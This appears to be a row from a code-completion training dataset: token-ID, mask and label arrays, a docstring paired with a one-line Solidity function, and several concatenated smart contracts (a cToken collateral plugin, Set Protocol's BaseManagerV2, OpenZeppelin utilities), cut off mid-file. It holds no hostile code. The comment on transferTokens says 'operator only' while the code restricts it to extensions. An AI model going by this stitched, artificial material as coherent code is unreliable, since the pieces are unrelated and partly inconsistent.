[ 1, 1986, 366, 505, 3410, 508, 471, 1651, 261, 73, 18, 75, 18, 436, 335, 81, 5161, 18, 76, 505, 18, 546, 516, 436, 335, 81, 5161, 18, 546, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1731, 3778, 3410, 461, 273, 24126, 18, 3015, 4420, 329, 12, 14926, 461, 63, 20, 30, 769, 397, 404, 6487, 1548, 92, 4630, 546, 64, 92, 713, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BlueOak-1.0.0 pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "contracts/plugins/assets/abstract/CompoundOracleMixin.sol"; import "contracts/plugins/assets/CTokenFiatCollateral.sol"; /** * @title CTokenPeggedCollateral * @notice Collateral plugin for a cToken of a pegged asset. For example: * - cWBTC * - ... */ contract CTokenPeggedCollateral is CompoundOracleMixin, Collateral { using FixLib for uint192; using SafeERC20 for IERC20Metadata; // All cTokens have 8 decimals, but their underlying may have 18 or 6 or something else. uint192 public prevReferencePrice; // previous rate, {collateral/reference} IERC20 public override rewardERC20; string public oracleLookupSymbol; constructor( IERC20Metadata erc20_, uint192 maxTradeVolume_, uint192 defaultThreshold_, uint256 delayUntilDefault_, IERC20Metadata referenceERC20_, IComptroller comptroller_, IERC20 rewardERC20_, string memory targetName_ ) Collateral( erc20_, maxTradeVolume_, defaultThreshold_, delayUntilDefault_, referenceERC20_, bytes32(bytes(targetName_)) ) CompoundOracleMixin(comptroller_) { rewardERC20 = rewardERC20_; prevReferencePrice = refPerTok(); // {collateral/reference} oracleLookupSymbol = targetName_; } /// @return {UoA/tok} Our best guess at the market price of 1 whole token in UoA function price() public view virtual returns (uint192) { // {UoA/tok} = {UoA/ref} * {ref/tok} return consultOracle(oracleLookupSymbol).mul(refPerTok()); } /// Refresh exchange rates and update default status. /// @custom:interaction RCEI function refresh() external virtual override { // == Refresh == // Update the Compound Protocol ICToken(address(erc20)).exchangeRateCurrent(); if (whenDefault <= block.timestamp) return; uint256 oldWhenDefault = whenDefault; // Check for hard default uint192 referencePrice = refPerTok(); if (referencePrice.lt(prevReferencePrice)) { whenDefault = block.timestamp; } else { // Check for soft default of underlying reference token uint192 p = consultOracle(referenceERC20.symbol()); // D18{UoA/ref} = D18{UoA/target} * D18{target/ref} / D18 uint192 peg = (pricePerTarget() * targetPerRef()) / FIX_ONE; uint192 delta = (peg * defaultThreshold) / FIX_ONE; // D18{UoA/ref} // If the price is below the default-threshold price, default eventually if (p < peg - delta || p > peg + delta) { whenDefault = Math.min(block.timestamp + delayUntilDefault, whenDefault); } else whenDefault = NEVER; } prevReferencePrice = referencePrice; if (whenDefault != oldWhenDefault) { emit DefaultStatusChanged(oldWhenDefault, whenDefault, status()); } // No interactions beyond the initial refresher } /// @return {ref/tok} Quantity of whole reference units per whole collateral tokens function refPerTok() public view override returns (uint192) { uint256 rate = ICToken(address(erc20)).exchangeRateStored(); int8 shiftLeft = 8 - int8(referenceERC20.decimals()) - 18; return shiftl_toFix(rate, shiftLeft); } /// @return {UoA/target} The price of a target unit in UoA function pricePerTarget() public view override returns (uint192) { return consultOracle(oracleLookupSymbol); } /// Get the message needed to call in order to claim rewards for holding this asset. /// @return _to The address to send the call to /// @return _cd The calldata to send function getClaimCalldata() external view override returns (address _to, bytes memory _cd) { _to = address(comptroller); _cd = abi.encodeWithSignature("claimComp(address)", msg.sender); } }
@return {UoA/target} The price of a target unit in UoA
function pricePerTarget() public view override returns (uint192) { return consultOracle(oracleLookupSymbol); }
1,823,352
[ 1, 2463, 288, 57, 83, 37, 19, 3299, 97, 1021, 6205, 434, 279, 1018, 2836, 316, 587, 83, 37, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6205, 2173, 2326, 1435, 1071, 1476, 3849, 1135, 261, 11890, 15561, 13, 288, 203, 3639, 327, 27710, 23601, 12, 280, 16066, 6609, 5335, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; import { IExtension } from "../interfaces/IExtension.sol"; import { ISetToken } from "../interfaces/ISetToken.sol"; import { MutualUpgrade } from "../lib/MutualUpgrade.sol"; /** * @title BaseManagerV2 * @author Set Protocol * * Smart contract manager that contains permissions and admin functionality. Implements IIP-64, supporting * a registry of protected modules that can only be upgraded with methodologist consent. */ contract BaseManagerV2 is MutualUpgrade { using Address for address; using AddressArrayUtils for address[]; using SafeERC20 for IERC20; /* ============ Struct ========== */ struct ProtectedModule { bool isProtected; // Flag set to true if module is protected address[] authorizedExtensionsList; // List of Extensions authorized to call module mapping(address => bool) authorizedExtensions; // Map of extensions authorized to call module } /* ============ Events ============ */ event ExtensionAdded( address _extension ); event ExtensionRemoved( address _extension ); event MethodologistChanged( address _oldMethodologist, address _newMethodologist ); event OperatorChanged( address _oldOperator, address _newOperator ); event ExtensionAuthorized( address _module, address _extension ); event ExtensionAuthorizationRevoked( address _module, address _extension ); event ModuleProtected( address _module, address[] _extensions ); event ModuleUnprotected( address _module ); event ReplacedProtectedModule( address _oldModule, address _newModule, address[] _newExtensions ); event EmergencyReplacedProtectedModule( address _module, address[] _extensions ); event EmergencyRemovedProtectedModule( address _module ); event EmergencyResolved(); /* ============ Modifiers ============ */ /** * Throws if the sender is not the SetToken operator */ modifier onlyOperator() { require(msg.sender == operator, "Must be operator"); _; } /** * Throws if the sender is not the SetToken methodologist */ modifier onlyMethodologist() { require(msg.sender == methodologist, "Must be methodologist"); _; } /** * Throws if the sender is not a listed extension */ modifier onlyExtension() { require(isExtension[msg.sender], "Must be extension"); _; } /** * Throws if contract is in an emergency state following a unilateral operator removal of a * protected module. */ modifier upgradesPermitted() { require(emergencies == 0, "Upgrades paused by emergency"); _; } /** * Throws if contract is *not* in an emergency state. Emergency replacement and resolution * can only happen in an emergency */ modifier onlyEmergency() { require(emergencies > 0, "Not in emergency"); _; } /* ============ State Variables ============ */ // Instance of SetToken ISetToken public setToken; // Array of listed extensions address[] internal extensions; // Mapping to check if extension is added mapping(address => bool) public isExtension; // Address of operator which typically executes manager only functions on Set Protocol modules address public operator; // Address of methodologist which serves as providing methodology for the index address public methodologist; // Counter incremented when the operator "emergency removes" a protected module. Decremented // when methodologist executes an "emergency replacement". Operator can only add modules and // extensions when `emergencies` is zero. Emergencies can only be declared "over" by mutual agreement // between operator and methodologist or by the methodologist alone via `resolveEmergency` uint256 public emergencies; // Mapping of protected modules. These cannot be called or removed except by mutual upgrade. mapping(address => ProtectedModule) public protectedModules; // List of protected modules, for iteration. Used when checking that an extension removal // can happen without methodologist approval address[] public protectedModulesList; // Boolean set when methodologist authorizes initialization after contract deployment. // Must be true to call via `interactManager`. bool public initialized; /* ============ Constructor ============ */ constructor( ISetToken _setToken, address _operator, address _methodologist ) public { setToken = _setToken; operator = _operator; methodologist = _methodologist; } /* ============ External Functions ============ */ /** * ONLY METHODOLOGIST : Called by the methodologist to enable contract. All `interactManager` * calls revert until this is invoked. Lets methodologist review and authorize initial protected * module settings. */ function authorizeInitialization() external onlyMethodologist { require(!initialized, "Initialization authorized"); initialized = true; } /** * MUTUAL UPGRADE: Update the SetToken manager address. Operator and Methodologist must each call * this function to execute the update. * * @param _newManager New manager address */ function setManager(address _newManager) external mutualUpgrade(operator, methodologist) { require(_newManager != address(0), "Zero address not valid"); setToken.setManager(_newManager); } /** * OPERATOR ONLY: Add a new extension that the BaseManager can call. * * @param _extension New extension to add */ function addExtension(address _extension) external upgradesPermitted onlyOperator { require(!isExtension[_extension], "Extension already exists"); require(address(IExtension(_extension).manager()) == address(this), "Extension manager invalid"); _addExtension(_extension); } /** * OPERATOR ONLY: Remove an existing extension tracked by the BaseManager. * * @param _extension Old extension to remove */ function removeExtension(address _extension) external onlyOperator { require(isExtension[_extension], "Extension does not exist"); require(!_isAuthorizedExtension(_extension), "Extension used by protected module"); extensions.removeStorage(_extension); isExtension[_extension] = false; emit ExtensionRemoved(_extension); } /** * MUTUAL UPGRADE: Authorizes an extension for a protected module. Operator and Methodologist must * each call this function to execute the update. Adds extension to manager if not already present. * * @param _module Module to authorize extension for * @param _extension Extension to authorize for module */ function authorizeExtension(address _module, address _extension) external mutualUpgrade(operator, methodologist) { require(protectedModules[_module].isProtected, "Module not protected"); require(!protectedModules[_module].authorizedExtensions[_extension], "Extension already authorized"); _authorizeExtension(_module, _extension); emit ExtensionAuthorized(_module, _extension); } /** * MUTUAL UPGRADE: Revokes extension authorization for a protected module. Operator and Methodologist * must each call this function to execute the update. In order to remove the extension completely * from the contract removeExtension must be called by the operator. * * @param _module Module to revoke extension authorization for * @param _extension Extension to revoke authorization of */ function revokeExtensionAuthorization(address _module, address _extension) external mutualUpgrade(operator, methodologist) { require(protectedModules[_module].isProtected, "Module not protected"); require(isExtension[_extension], "Extension does not exist"); require(protectedModules[_module].authorizedExtensions[_extension], "Extension not authorized"); protectedModules[_module].authorizedExtensions[_extension] = false; protectedModules[_module].authorizedExtensionsList.removeStorage(_extension); emit ExtensionAuthorizationRevoked(_module, _extension); } /** * ADAPTER ONLY: Interact with a module registered on the SetToken. Manager initialization must * have been authorized by methodologist. Extension making this call must be authorized * to call module if module is protected. * * @param _module Module to interact with * @param _data Byte data of function to call in module */ function interactManager(address _module, bytes memory _data) external onlyExtension { require(initialized, "Manager not initialized"); require(_module != address(setToken), "Extensions cannot call SetToken"); require(_senderAuthorizedForModule(_module, msg.sender), "Extension not authorized for module"); // Invoke call to module, assume value will always be 0 _module.functionCallWithValue(_data, 0); } /** * OPERATOR ONLY: Transfers _tokens held by the manager to _destination. Can be used to * recover anything sent here accidentally. In BaseManagerV2, extensions should * be the only contracts designated as `feeRecipient` in fee modules. * * @param _token ERC20 token to send * @param _destination Address receiving the tokens * @param _amount Quantity of tokens to send */ function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension { IERC20(_token).safeTransfer(_destination, _amount); } /** * OPERATOR ONLY: Add a new module to the SetToken. * * @param _module New module to add */ function addModule(address _module) external upgradesPermitted onlyOperator { setToken.addModule(_module); } /** * OPERATOR ONLY: Remove a new module from the SetToken. Any extensions associated with this * module need to be removed in separate transactions via removeExtension. * * @param _module Module to remove */ function removeModule(address _module) external onlyOperator { require(!protectedModules[_module].isProtected, "Module protected"); setToken.removeModule(_module); } /** * OPERATOR ONLY: Marks a currently protected module as unprotected and deletes its authorized * extension registries. Removes module from the SetToken. Increments the `emergencies` counter, * prohibiting any operator-only module or extension additions until `emergencyReplaceProtectedModule` * is executed or `resolveEmergency` is called by the methodologist. * * Called by operator when a module must be removed immediately for security reasons and it's unsafe * to wait for a `mutualUpgrade` process to play out. * * NOTE: If removing a fee module, you can ensure all fees are distributed by calling distribute * on the module's de-authorized fee extension after this call. * * @param _module Module to remove */ function emergencyRemoveProtectedModule(address _module) external onlyOperator { _unProtectModule(_module); setToken.removeModule(_module); emergencies += 1; emit EmergencyRemovedProtectedModule(_module); } /** * OPERATOR ONLY: Marks an existing module as protected and authorizes extensions for * it, adding them if necessary. Adds module to the protected modules list * * The operator uses this when they're adding new features and want to assure the methodologist * they won't be unilaterally changed in the future. Cannot be called during an emergency because * methodologist needs to explicitly approve protection arrangements under those conditions. * * NOTE: If adding a fee extension while protecting a fee module, it's important to set the * module `feeRecipient` to the new extension's address (ideally before this call). * * @param _module Module to protect * @param _extensions Array of extensions to authorize for protected module */ function protectModule(address _module, address[] memory _extensions) external upgradesPermitted onlyOperator { require(setToken.getModules().contains(_module), "Module not added yet"); _protectModule(_module, _extensions); emit ModuleProtected(_module, _extensions); } /** * METHODOLOGIST ONLY: Marks a currently protected module as unprotected and deletes its authorized * extension registries. Removes old module from the protected modules list. * * Called by the methodologist when they want to cede control over a protected module without triggering * an emergency (for example, to remove it because its dead). * * @param _module Module to revoke protections for */ function unProtectModule(address _module) external onlyMethodologist { _unProtectModule(_module); emit ModuleUnprotected(_module); } /** * MUTUAL UPGRADE: Replaces a protected module. Operator and Methodologist must each call this * function to execute the update. * * > Marks a currently protected module as unprotected * > Deletes its authorized extension registries. * > Removes old module from SetToken. * > Adds new module to SetToken. * > Marks `_newModule` as protected and authorizes new extensions for it. * * Used when methodologists wants to guarantee that an existing protection arrangement is replaced * with a suitable substitute (ex: upgrading a StreamingFeeSplitExtension). * * NOTE: If replacing a fee module, it's necessary to set the module `feeRecipient` to be * the new fee extension address after this call. Any fees remaining in the old module's * de-authorized extensions can be distributed by calling `distribute()` on the old extension. * * @param _oldModule Module to remove * @param _newModule Module to add in place of removed module * @param _newExtensions Extensions to authorize for new module */ function replaceProtectedModule(address _oldModule, address _newModule, address[] memory _newExtensions) external mutualUpgrade(operator, methodologist) { _unProtectModule(_oldModule); setToken.removeModule(_oldModule); setToken.addModule(_newModule); _protectModule(_newModule, _newExtensions); emit ReplacedProtectedModule(_oldModule, _newModule, _newExtensions); } /** * MUTUAL UPGRADE & EMERGENCY ONLY: Replaces a module the operator has removed with * `emergencyRemoveProtectedModule`. Operator and Methodologist must each call this function to * execute the update. * * > Adds new module to SetToken. * > Marks `_newModule` as protected and authorizes new extensions for it. * > Adds `_newModule` to protectedModules list. * > Decrements the emergencies counter, * * Used when methodologist wants to guarantee that a protection arrangement which was * removed in an emergency is replaced with a suitable substitute. Operator's ability to add modules * or extensions is restored after invoking this method (if this is the only emergency.) * * NOTE: If replacing a fee module, it's necessary to set the module `feeRecipient` to be * the new fee extension address after this call. Any fees remaining in the old module's * de-authorized extensions can be distributed by calling `accrueFeesAndDistribute` on the old extension. * * @param _module Module to add in place of removed module * @param _extensions Array of extensions to authorize for replacement module */ function emergencyReplaceProtectedModule( address _module, address[] memory _extensions ) external mutualUpgrade(operator, methodologist) onlyEmergency { setToken.addModule(_module); _protectModule(_module, _extensions); emergencies -= 1; emit EmergencyReplacedProtectedModule(_module, _extensions); } /** * METHODOLOGIST ONLY & EMERGENCY ONLY: Decrements the emergencies counter. * * Allows a methodologist to exit a state of emergency without replacing a protected module that * was removed. This could happen if the module has no viable substitute or operator and methodologist * agree that restoring normal operations is the best way forward. */ function resolveEmergency() external onlyMethodologist onlyEmergency { emergencies -= 1; emit EmergencyResolved(); } /** * METHODOLOGIST ONLY: Update the methodologist address * * @param _newMethodologist New methodologist address */ function setMethodologist(address _newMethodologist) external onlyMethodologist { emit MethodologistChanged(methodologist, _newMethodologist); methodologist = _newMethodologist; } /** * OPERATOR ONLY: Update the operator address * * @param _newOperator New operator address */ function setOperator(address _newOperator) external onlyOperator { emit OperatorChanged(operator, _newOperator); operator = _newOperator; } /* ============ External Getters ============ */ function getExtensions() external view returns(address[] memory) { return extensions; } function getAuthorizedExtensions(address _module) external view returns (address[] memory) { return protectedModules[_module].authorizedExtensionsList; } function isAuthorizedExtension(address _module, address _extension) external view returns (bool) { return protectedModules[_module].authorizedExtensions[_extension]; } function getProtectedModules() external view returns (address[] memory) { return protectedModulesList; } /* ============ Internal ============ */ /** * Add a new extension that the BaseManager can call. */ function _addExtension(address _extension) internal { extensions.push(_extension); isExtension[_extension] = true; emit ExtensionAdded(_extension); } /** * Marks a currently protected module as unprotected and deletes it from authorized extension * registries. Removes module from the SetToken. */ function _unProtectModule(address _module) internal { require(protectedModules[_module].isProtected, "Module not protected"); // Clear mapping and array entries in struct before deleting mapping entry for (uint256 i = 0; i < protectedModules[_module].authorizedExtensionsList.length; i++) { address extension = protectedModules[_module].authorizedExtensionsList[i]; protectedModules[_module].authorizedExtensions[extension] = false; } delete protectedModules[_module]; protectedModulesList.removeStorage(_module); } /** * Adds new module to SetToken. Marks `_newModule` as protected and authorizes * new extensions for it. Adds `_newModule` module to protectedModules list. */ function _protectModule(address _module, address[] memory _extensions) internal { require(!protectedModules[_module].isProtected, "Module already protected"); protectedModules[_module].isProtected = true; protectedModulesList.push(_module); for (uint i = 0; i < _extensions.length; i++) { _authorizeExtension(_module, _extensions[i]); } } /** * Adds extension if not already added and marks extension as authorized for module */ function _authorizeExtension(address _module, address _extension) internal { if (!isExtension[_extension]) { _addExtension(_extension); } protectedModules[_module].authorizedExtensions[_extension] = true; protectedModules[_module].authorizedExtensionsList.push(_extension); } /** * Searches the extension mappings of each protected modules to determine if an extension * is authorized by any of them. Authorized extensions cannot be unilaterally removed by * the operator. */ function _isAuthorizedExtension(address _extension) internal view returns (bool) { for (uint256 i = 0; i < protectedModulesList.length; i++) { if (protectedModules[protectedModulesList[i]].authorizedExtensions[_extension]) { return true; } } return false; } /** * Checks if `_sender` (an extension) is allowed to call a module (which may be protected) */ function _senderAuthorizedForModule(address _module, address _sender) internal view returns (bool) { if (protectedModules[_module].isProtected) { return protectedModules[_module].authorizedExtensions[_sender]; } return true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function 